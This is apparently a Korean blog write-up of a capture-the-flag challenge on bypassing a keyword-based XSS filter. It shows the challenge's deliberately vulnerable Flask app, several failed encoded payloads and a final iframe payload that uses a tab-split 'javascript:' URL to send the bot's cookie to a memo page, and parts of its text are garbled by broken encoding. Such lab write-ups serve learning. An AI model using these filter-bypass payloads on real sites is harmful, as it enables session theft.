[2025-07-31] XSS Bypass filtering advanced

๐Ÿฆฅ ๋ณธ๋ฌธ

  • app.py
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

๊ธฐ์กด์— ํ’€์—ˆ๋˜ XSS ๋ฌธ์ œ์™€ ๊ฐ™์€ ์œ ํ˜•์ด๋‹ค. ํ•˜์ง€๋งŒ ํ•„ํ„ฐ๊ฐ€ ๋” ์—…๊ทธ๋ ˆ์ด๋“œ ๋๋‹ค.

  1. ๋”๋ธ” ์ธ์ฝ”๋”ฉ์œผ๋กœ ์ธํ•œ ์šฐํšŒ

<%73cript>l%6Fcation.href="/memo?memo=" + d%6Fcument.cookie</%73cript>

Selinum์ด ์ž๋™ ์ธ์ฝ”๋”ฉ์„ ํ•˜์ง€ ์•Š๋Š” ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•˜์—ฌ ๋”๋ธ” ์ธ์ฝ”๋”ฉ์„ ๋…ธ๋ ธ๋Š” ๋ฐ, ์•ˆ๋๋‹ค

url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}

ํ•˜์ง€๋งŒ urllib.parse.quote() ์—์„œ ์ธ์ฝ”๋”ฉ์ด ๋œ๋‹ค๊ณ  ํ•œ๋‹ค.

  1. ๋‹ค์Œ๊ณผ ๊ฐ™์€ 3๊ฐœ์˜ ์ฝ”๋“œ๋ฅผ ์ง‘์–ด ๋„ฃ์—ˆ๋‹ค
<s%09cript>l%09ocation.href="/memo?memo=" + d%09ocument.cookie</s%09cript>
<iframe src="j\tavascript:l\tocation.href='/memo?memo=' + d\tocument.cookie">
<iframe src="j%09avascript:l%09ocation.href='/memo?memo=' + d%09ocument.cookie">
  • ์ฒซ๋ฒˆ์งธ ์ฝ”๋“œ๋Š” ํƒœ๊ทธ ์ž์ฒด๊ฐ€ ๊นจ์ ธ์„œ HTML ํŒŒ์„œ๊ฐ€ ๋ฌด์‹œ๋ฅผ ํ•œ๋‹ค.
  • ๋‘๋ฒˆ์งธ ์ฝ”๋“œ์™€ ์„ธ๋ฒˆ์งธ ์ฝ”๋“œ์˜ ์ฐจ์ด
    • 2๋ฒˆ์งธ ์ฝ”๋“œ๋Š” HTML์ด <iframe src="j[TAB]avascript"> ๋กœ ํŒ๋‹จ. src ์†์„ฑ์—์„œ ํƒญ ๋ฌธ์ž ํฌํ•จ๋œ URL์€ ์œ ํšจํ•˜์ง€ ์•Š๋‹ค๊ณ  ํŒ๋‹จ โ†’ ๋ฌด์‹œ โ†’ XSS ์‹คํŒจ
    • 3๋ฒˆ์งธ ์ฝ”๋“œ๋Š” <iframe src="j%09avascript"> ๋กœ ํŒ๋‹จ. HTML์ด %09๋ฅผ ๋””์ฝ”๋”ฉ ํ•˜๋Š” ๊ณผ์ •์—์„œ ํƒญ์ด๋ผ ํŒ๋‹จ ํ›„ ์ œ๊ฑฐ โ†’ javascript: ๋ณต์›

ํ’€์ด ๋ฐ ์ •๋‹ต

<iframe src="j%09avascript:l%09ocation.href='/memo?memo=' + d%09ocument.cookie">

Categories:

Updated:

Leave a comment